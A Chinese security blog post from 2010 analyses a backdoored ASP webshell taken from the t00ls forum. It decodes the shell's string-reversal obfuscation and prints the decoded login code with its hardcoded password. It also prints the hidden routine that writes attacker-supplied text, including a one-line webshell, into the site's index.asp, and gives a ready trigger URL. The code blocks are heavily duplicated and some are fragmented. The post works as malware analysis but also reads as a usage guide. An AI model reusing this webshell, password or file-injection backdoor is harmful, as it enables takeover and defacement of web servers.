对来自t00ls的wsctece.asp的解密、使用及后门功能全分析
作者:admin 日期:2010-04-11
yyb1813 在刀城知道区发了一个求助帖子,http://forum.daokers.com/read.php?tid=1620
询问怎么使用这个从t00ls拿来的ASP WEBSHELL。
分析shell的前提,当然是这个shell必须是明文的,那么我们首先解密这个webshell
这个是一个非常典型的运用十三逆向加密的例子,并且有一个函数进行了变异,增加识别的难度。
首先把wsctece.asp拉入工具。
首先看第一个函数zznFun的解密。
程序代码
十三逆向的函数

可以看到这个函数的加密有2处。保存为shellcode.asp
再看另外一个函数UZSS,同样是十三逆向加密,将shellcode.asp拉入工具

这个函数加密的地方较多,有23处。将结果保存为shellcode1.asp ,现在我们来看看Xo这个函数
程序代码
可以看到她还调用了函数R,搜索下这个函数,代码如下
程序代码
就是一个替换语句,Chr(34)的字符是",那么把R的内容代入Xo,那么XO函数代码就为
程序代码
看到这就很明亮了,他也是十三的逆向函数。那么解密如下

保存为shellcode2.asp,其实他这个函数加密的是一个非常重要的部分,稍后分析。
那么这个shell的解密基本上就完成了。
下面看看使用。
从上往下翻shellcode2.asp,搜索userpass或者session,查找一个shell的登陆地方最准确的方法就是查找session的位置。
搜索session后,我们会发现这样一段代码。
程序代码
上面的2个函数就是最后一个加密函数Xo加密的内容。
为了方便先将上面的2个函数去掉,整理一下代码。
程序代码
这部分代码就是shell的登陆处理代码,可以看到只有当request("ps0") = UserPass 并且StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) = request("c") 的时候才能正确登陆。
我们搜索userpass,可以在文件末尾搜索到
程序代码
可以看到密码为0dlm1c1gi0hr,这个过程很重要,是后面分析的基础函数
StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) 是什么呢?就是将去掉域名的”.“,然后反转。
比如,www.daokers.com,那么就为mocsrekoadwww,既然这样了,那么这个shell的使用方法就是:
以本地运行为例:http://localhost/shellcode2.asp?ps0=0dlm1c1gi0hr&c=tsohlacol
这样就进入界面了

具体怎么方便使用,请继续看下文。
一个登陆页面的成功了,给session赋值了,那么这个任务显然就完成了,但是在这里我们可以看到多了一个东西
程序代码
并且下面有1个相关函数W,在W函数中涉及到另外2个函数V和函数M,这2个函数位于文件开头,我们把他调用过来,同时把函数W的代码放到if判断语句外。
这样调整后代码就为
程序代码
上面说过登陆时要反转域名,如果一个一个的来很是麻烦,那么我们可以在
程序代码
这个地方插入一句话
程序代码
下次访问时c值随便写
http://localhost/wsctece.asp?ps0=0dlm1c1gi0hr&c=asdf
那么必将输出ssss值,然后copy之,放入上面,就可免去反转域名的麻烦了。
言归正传,说函数W
上面有说,如果a和t不为空的话,将执函数W,那么这2个值是肯定要输入的。
看函数W,可知,如果T=1,那么将执行if instr(M(p,z)(1),s)=0 Then V(M(p,z)(1)&a,p,z)(1)
所以要看懂这个语句首先要弄清楚函数M和函数V是做什么的
首先看函数M
程序代码
看到ADODB.Stream和LoadFromFile就应当明白这个函数是利用ADODB.Stream来读取文件。
那么看看函数V
程序代码
很明显,这个函数是利用ADODB.Stream的SaveToFile来保存文件。.Position = objStream.Size这句确保是将数据追加在文件末尾而不是覆盖写入。
我们再看几个参数,
首先看参数p
p=WWWRoot & p
而上面的过程ps中已经提到过,p="\index.asp",那么在这里
p=WWWRoot & "\index.asp"
wwwroot是表示网站根目录的物理路径,假设这个shell的网站根目录为G:\web\,那么p=G:\web\index.asp
S值也已经在过程中提到s="</body>"
a值是request的,是需要我们输入的,我们先假设a=“test”
z值是一个编码,这里为z="GB2312"
好了,现在回头看函数W
程序代码
t值是需要我们输入的,在这里其实是一个开关的作用。
现在我们看语句
如果T=1,那么
b=s,即b="</body>"
c = a & s, 即c="test</body>",也就是将a值放在</body>之前。
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
上面分析了,M为读取文件函数,那么M(p,z)(1),的作用就是读取index.asp的内容,然后用instr函数查找"</body>",如果没有的话,就在文件末尾写入a值。
如果T不等于1,那么
b=a ,即b=”test“
c = ""
现在看
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
这个语句很巧妙,由于函数r就是一个replace,所以V(R(M(p, z)(1), b, c), p, z)(1) 的作用就是在index.asp中将B替换成c。
如果t=1,那么就将"</body>"替换成"test</body>",相对于在index.asp中插入test,如果index.asp中没有"</body>"呢,上面说过的if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
就将完成这个将b写在末尾的任务。不管有没有"</body>",都将写入a值到文件。
如果T不等于1呢?那么If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""将把a值替换掉。
他还有一个功能就是,由于保存函数是在最外层的,那么如果index.asp不存在的话,那么函数r无法读取文件,但是这个函数并没有为空,而是将出错信息作为函数r的结果,那么函数v再保存的话,就相对于新建了一个index.asp。
总之,不管有没有index.asp都将成功写入a值,不管有没有“</body>”也将成功写入a值,这个函数设计的是相对不错的。
好了,到现在,这个函数的功能基本就清楚了。
T是开关,如果T=1,那么将写入a值到index.asp
如果不等于1,那么将从index.asp中清除a值。
测试了一下,写个一句话进去也是可以的。

后门利用语句:http://localhost/shellcode2.asp?ps0=0dlm1c1gi0hr&c=tsohlacol&t=1&a=test
至此,全文也分析完毕。
by daokers
2010.4.10
欢迎在此留言,也欢迎加入刀城交流,此文刀城地址:http://forum.daokers.com/read.php?tid=1641
严正声明:转载我的文章可以!但是请加上转载地址!!!
询问怎么使用这个从t00ls拿来的ASP WEBSHELL。
分析shell的前提,当然是这个shell必须是明文的,那么我们首先解密这个webshell
这个是一个非常典型的运用十三逆向加密的例子,并且有一个函数进行了变异,增加识别的难度。
首先把wsctece.asp拉入工具。
首先看第一个函数zznFun的解密。
程序代码Function zznFun(zznObjstr):zznObjstr = Replace(zznObjstr, "③", """"):For zznI = 1 To Len(zznObjstr):If Mid(zznObjstr, zznI, 1) <> "壹" Then:zznNewStr = Mid(zznObjstr, zznI, 1) & zznNewStr:Else:zznNewStr = vbCrLf & zznNewStr:End If:Next:zznFun = zznNewStr:End Function
十三逆向的函数

可以看到这个函数的加密有2处。保存为shellcode.asp
再看另外一个函数UZSS,同样是十三逆向加密,将shellcode.asp拉入工具

这个函数加密的地方较多,有23处。将结果保存为shellcode1.asp ,现在我们来看看Xo这个函数
程序代码Function Xo(e):e=R(e,"対",Chr(34)):For psI=1 To Len(e):If Mid(e,psI,1)<>"奌" Then:XoX=Mid(e,psI,1)&XoX:Else:XoX=vbCrlf&XoX:End If:Next:Xo=XoX:End Function
可以看到她还调用了函数R,搜索下这个函数,代码如下
程序代码Function R(a,b,c):R = Replace(a,b,c):End Function
就是一个替换语句,Chr(34)的字符是",那么把R的内容代入Xo,那么XO函数代码就为
程序代码Function Xo(e):e=Replace(e,"対",Chr(34))::For psI=1 To Len(e):If Mid(e,psI,1)<>"奌" Then:XoX=Mid(e,psI,1)&XoX:Else:XoX=vbCrlf&XoX:End If:Next:Xo=XoX:End Function
看到这就很明亮了,他也是十三的逆向函数。那么解密如下

保存为shellcode2.asp,其实他这个函数加密的是一个非常重要的部分,稍后分析。
那么这个shell的解密基本上就完成了。
下面看看使用。
从上往下翻shellcode2.asp,搜索userpass或者session,查找一个shell的登陆地方最准确的方法就是查找session的位置。
搜索session后,我们会发现这样一段代码。
程序代码if session("webc0fig")<>UserPass then
if request("ps0")<>"" then
if request("ps0")=UserPass and StrReverse(Replace(Request.ServerVariables("SERVER_NAME"),".",""))=Request("c") then
a=trim(request("a"))
t=trim(request("t"))
p=WWWRoot&p
if a<>"" and t<>"" then
w(0)
Response.End()
function w(zo)
On Error Resume Next
if t = 1 then
b=s
c=a&s
if instr(M(p,z)(1),s)=0 Then V(M(p,z)(1)&a,p,z)(1)
else
b=a
c=""
end if
if V(R(M(p,z)(1),b,c),p,z)(1) then RRS ""
if Err.Number = 0 Then
RRS "00"
else
RRS Err.Description
end if
Err.Clear)
end function
end if
session("webc0fig")=UserPass
session("idx")=2
Session("FolderPath")=""
response.redirect url
else
Response.End()
end if
if request("ps0")<>"" then
if request("ps0")=UserPass and StrReverse(Replace(Request.ServerVariables("SERVER_NAME"),".",""))=Request("c") then
a=trim(request("a"))
t=trim(request("t"))
p=WWWRoot&p
if a<>"" and t<>"" then
w(0)
Response.End()
function w(zo)
On Error Resume Next
if t = 1 then
b=s
c=a&s
if instr(M(p,z)(1),s)=0 Then V(M(p,z)(1)&a,p,z)(1)
else
b=a
c=""
end if
if V(R(M(p,z)(1),b,c),p,z)(1) then RRS ""
if Err.Number = 0 Then
RRS "00"
else
RRS Err.Description
end if
Err.Clear)
end function
end if
session("webc0fig")=UserPass
session("idx")=2
Session("FolderPath")=""
response.redirect url
else
Response.End()
end if
上面的2个函数就是最后一个加密函数Xo加密的内容。
为了方便先将上面的2个函数去掉,整理一下代码。
程序代码If Session("webc0fig") <> UserPass Then
If request("ps0") <> "" Then
If request("ps0") = UserPass And StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) = request("c") Then
a = Trim(request("a"))
t = Trim(request("t"))
p = WWWRoot & p
If a <> "" And t <> "" Then
w (0)
Response.End()
End If
Session("webc0fig") = UserPass
Session("idx") = 2
Session("FolderPath") = ""
Response.redirect url
Else
Response.End()
End If
If request("ps0") <> "" Then
If request("ps0") = UserPass And StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) = request("c") Then
a = Trim(request("a"))
t = Trim(request("t"))
p = WWWRoot & p
If a <> "" And t <> "" Then
w (0)
Response.End()
End If
Session("webc0fig") = UserPass
Session("idx") = 2
Session("FolderPath") = ""
Response.redirect url
Else
Response.End()
End If
这部分代码就是shell的登陆处理代码,可以看到只有当request("ps0") = UserPass 并且StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) = request("c") 的时候才能正确登陆。
我们搜索userpass,可以在文件末尾搜索到
程序代码sub ps():z="GB2312":UserPass="0dlm1c1gi0hr":s="</body>":p="\index.asp":end sub
可以看到密码为0dlm1c1gi0hr,这个过程很重要,是后面分析的基础函数
StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) 是什么呢?就是将去掉域名的”.“,然后反转。
比如,www.daokers.com,那么就为mocsrekoadwww,既然这样了,那么这个shell的使用方法就是:
以本地运行为例:http://localhost/shellcode2.asp?ps0=0dlm1c1gi0hr&c=tsohlacol
这样就进入界面了

具体怎么方便使用,请继续看下文。
一个登陆页面的成功了,给session赋值了,那么这个任务显然就完成了,但是在这里我们可以看到多了一个东西
程序代码 If a <> "" And t <> "" Then
w (0)
Response.End()
End If
w (0)
Response.End()
End If
并且下面有1个相关函数W,在W函数中涉及到另外2个函数V和函数M,这2个函数位于文件开头,我们把他调用过来,同时把函数W的代码放到if判断语句外。
这样调整后代码就为
程序代码If Session("webc0fig") <> UserPass Then
If Request("ps0") <> "" Then
If Request("ps0") = UserPass And StrReverse(Replace(Request.ServerVariables("SERVER_NAME"), ".", "")) = Request("c") Then
a = Trim(Request("a"))
t = Trim(Request("t"))
p=WWWRoot&p
If a <> "" And t <> "" Then
w (0)
Response.End()
End If
Session("webc0fig") = UserPass
Session("idx") = 2
Session("FolderPath") = ""
Response.redirect url
Else
Response.End()
End If
Function R(a, b, c)
R = Replace(a, b, c)
End Function
Function w(zo)
On Error Resume Next
If t = 1 Then
b = s
c = a & s
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
Else
b = a
c = ""
End If
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
If Err.Number = 0 Then
RRS "00"
Else
RRS Err.Description
End If
Err.Clear
End Function
Function V(strBody, File, u)
RText = Array(0, "")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Type = 2
.Open
.Charset = u
.Position = objStream.Size
.WriteText = strBody
On Error Resume Next
.SaveToFile File, 2
If Err Then
RText = Array(Err.Number, Err.Description)
V = RText
Err.Clear
Exit Function
End If
.Close
End With
RText = Array(0, True)
V = RText
Set objStream = Nothing
End Function
Function M(File, u)
RText = Array(0, "")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Type = 2
.Mode = 3
.Open
.Charset = u
.Position = objStream.Size
On Error Resume Next
.LoadFromFile File
If Err Then
RText = Array(Err.Number, Err.Description)
M = RText
Err.Clear
Exit Function
End If
RText = Array(0, .ReadText)
.Close
End With
M = RText
Set objStream = Nothing
End Function
If Request("ps0") <> "" Then
If Request("ps0") = UserPass And StrReverse(Replace(Request.ServerVariables("SERVER_NAME"), ".", "")) = Request("c") Then
a = Trim(Request("a"))
t = Trim(Request("t"))
p=WWWRoot&p
If a <> "" And t <> "" Then
w (0)
Response.End()
End If
Session("webc0fig") = UserPass
Session("idx") = 2
Session("FolderPath") = ""
Response.redirect url
Else
Response.End()
End If
Function R(a, b, c)
R = Replace(a, b, c)
End Function
Function w(zo)
On Error Resume Next
If t = 1 Then
b = s
c = a & s
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
Else
b = a
c = ""
End If
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
If Err.Number = 0 Then
RRS "00"
Else
RRS Err.Description
End If
Err.Clear
End Function
Function V(strBody, File, u)
RText = Array(0, "")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Type = 2
.Open
.Charset = u
.Position = objStream.Size
.WriteText = strBody
On Error Resume Next
.SaveToFile File, 2
If Err Then
RText = Array(Err.Number, Err.Description)
V = RText
Err.Clear
Exit Function
End If
.Close
End With
RText = Array(0, True)
V = RText
Set objStream = Nothing
End Function
Function M(File, u)
RText = Array(0, "")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Type = 2
.Mode = 3
.Open
.Charset = u
.Position = objStream.Size
On Error Resume Next
.LoadFromFile File
If Err Then
RText = Array(Err.Number, Err.Description)
M = RText
Err.Clear
Exit Function
End If
RText = Array(0, .ReadText)
.Close
End With
M = RText
Set objStream = Nothing
End Function
上面说过登陆时要反转域名,如果一个一个的来很是麻烦,那么我们可以在
程序代码 Else
Response.End()
End If
Response.End()
End If
这个地方插入一句话
程序代码 Else
ssss=StrReverse(Replace(Request.ServerVariables("SERVER_NAME"),".",""))
response.write ssss
Response.End()
End If
ssss=StrReverse(Replace(Request.ServerVariables("SERVER_NAME"),".",""))
response.write ssss
Response.End()
End If
下次访问时c值随便写
http://localhost/wsctece.asp?ps0=0dlm1c1gi0hr&c=asdf
那么必将输出ssss值,然后copy之,放入上面,就可免去反转域名的麻烦了。
言归正传,说函数W
上面有说,如果a和t不为空的话,将执函数W,那么这2个值是肯定要输入的。
看函数W,可知,如果T=1,那么将执行if instr(M(p,z)(1),s)=0 Then V(M(p,z)(1)&a,p,z)(1)
所以要看懂这个语句首先要弄清楚函数M和函数V是做什么的
首先看函数M
程序代码Function M(File, u)
RText = Array(0, "")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Type = 2
.Mode = 3
.Open
.Charset = u
.Position = objStream.Size
On Error Resume Next
.LoadFromFile File
If Err Then
RText = Array(Err.Number, Err.Description)
M = RText
Err.Clear
Exit Function
End If
RText = Array(0, .ReadText)
.Close
End With
M = RText
Set objStream = Nothing
End Function
RText = Array(0, "")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Type = 2
.Mode = 3
.Open
.Charset = u
.Position = objStream.Size
On Error Resume Next
.LoadFromFile File
If Err Then
RText = Array(Err.Number, Err.Description)
M = RText
Err.Clear
Exit Function
End If
RText = Array(0, .ReadText)
.Close
End With
M = RText
Set objStream = Nothing
End Function
看到ADODB.Stream和LoadFromFile就应当明白这个函数是利用ADODB.Stream来读取文件。
那么看看函数V
程序代码Function V(strBody, File, u)
RText = Array(0, "")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Type = 2
.Open
.Charset = u
.Position = objStream.Size
.WriteText = strBody
On Error Resume Next
.SaveToFile File, 2
If Err Then
RText = Array(Err.Number, Err.Description)
V = RText
Err.Clear
Exit Function
End If
.Close
End With
RText = Array(0, True)
V = RText
Set objStream = Nothing
End Function
RText = Array(0, "")
Set objStream = Server.CreateObject("ADODB.Stream")
With objStream
.Type = 2
.Open
.Charset = u
.Position = objStream.Size
.WriteText = strBody
On Error Resume Next
.SaveToFile File, 2
If Err Then
RText = Array(Err.Number, Err.Description)
V = RText
Err.Clear
Exit Function
End If
.Close
End With
RText = Array(0, True)
V = RText
Set objStream = Nothing
End Function
很明显,这个函数是利用ADODB.Stream的SaveToFile来保存文件。.Position = objStream.Size这句确保是将数据追加在文件末尾而不是覆盖写入。
我们再看几个参数,
首先看参数p
p=WWWRoot & p
而上面的过程ps中已经提到过,p="\index.asp",那么在这里
p=WWWRoot & "\index.asp"
wwwroot是表示网站根目录的物理路径,假设这个shell的网站根目录为G:\web\,那么p=G:\web\index.asp
S值也已经在过程中提到s="</body>"
a值是request的,是需要我们输入的,我们先假设a=“test”
z值是一个编码,这里为z="GB2312"
好了,现在回头看函数W
程序代码Function w(zo)
On Error Resume Next
If t = 1 Then
b = s
c = a & s
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
Else
b = a
c = ""
End If
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
If Err.Number = 0 Then
RRS "00"
Else
RRS Err.Description
End If
Err.Clear
End Function
On Error Resume Next
If t = 1 Then
b = s
c = a & s
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
Else
b = a
c = ""
End If
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
If Err.Number = 0 Then
RRS "00"
Else
RRS Err.Description
End If
Err.Clear
End Function
t值是需要我们输入的,在这里其实是一个开关的作用。
现在我们看语句
如果T=1,那么
b=s,即b="</body>"
c = a & s, 即c="test</body>",也就是将a值放在</body>之前。
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
上面分析了,M为读取文件函数,那么M(p,z)(1),的作用就是读取index.asp的内容,然后用instr函数查找"</body>",如果没有的话,就在文件末尾写入a值。
如果T不等于1,那么
b=a ,即b=”test“
c = ""
现在看
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
这个语句很巧妙,由于函数r就是一个replace,所以V(R(M(p, z)(1), b, c), p, z)(1) 的作用就是在index.asp中将B替换成c。
如果t=1,那么就将"</body>"替换成"test</body>",相对于在index.asp中插入test,如果index.asp中没有"</body>"呢,上面说过的if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
就将完成这个将b写在末尾的任务。不管有没有"</body>",都将写入a值到文件。
如果T不等于1呢?那么If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""将把a值替换掉。
他还有一个功能就是,由于保存函数是在最外层的,那么如果index.asp不存在的话,那么函数r无法读取文件,但是这个函数并没有为空,而是将出错信息作为函数r的结果,那么函数v再保存的话,就相对于新建了一个index.asp。
总之,不管有没有index.asp都将成功写入a值,不管有没有“</body>”也将成功写入a值,这个函数设计的是相对不错的。
好了,到现在,这个函数的功能基本就清楚了。
T是开关,如果T=1,那么将写入a值到index.asp
如果不等于1,那么将从index.asp中清除a值。
测试了一下,写个一句话进去也是可以的。

后门利用语句:http://localhost/shellcode2.asp?ps0=0dlm1c1gi0hr&c=tsohlacol&t=1&a=test
至此,全文也分析完毕。
by daokers
2010.4.10
欢迎在此留言,也欢迎加入刀城交流,此文刀城地址:http://forum.daokers.com/read.php?tid=1641
严正声明:转载我的文章可以!但是请加上转载地址!!!
以下说明属本文之一部分:
转载请保持完整并注明:转自 金刀客[www.daokers.com]
[本日志由 admin 于 2010-04-12 08:37 AM 编辑]
评论: 6 | 引用: 0 | 查看次数: -
回复
]刀哥 ,最近老有很多人加我,来向我索取屠龙刀..您能不能给个屠龙刀 下载呀 ....或者您有源码 给我一份嘛...或者 思路,函数之类的。。。刀哥 。。好不?
admin 于 2010-08-17 09:59 AM 回复
暂未发布
我郁闷啊 看的我头都大了。。。
admin 于 回复
^_^
支持刀哥 不发布....
admin 于 回复
^_^
能具体讲下加密过程不?
admin 于 回复
有了上面说的解密函数的反函数之后就可以加密了,很简单的,具体的哪天我看看是不是写一个吧
请问 ,屠龙刀 有得下载么? 如果话 给我邮一个啊 !
185656156@qq.com
谢了!
admin 于 回复
185656156@qq.com
谢了!
不发布
你好用功,我看完了,写的很好啊,膜拜你
admin 于 回复
呵呵,还得向您多学习
发表评论
上一篇
下一篇

相关日志:
文章来自: 




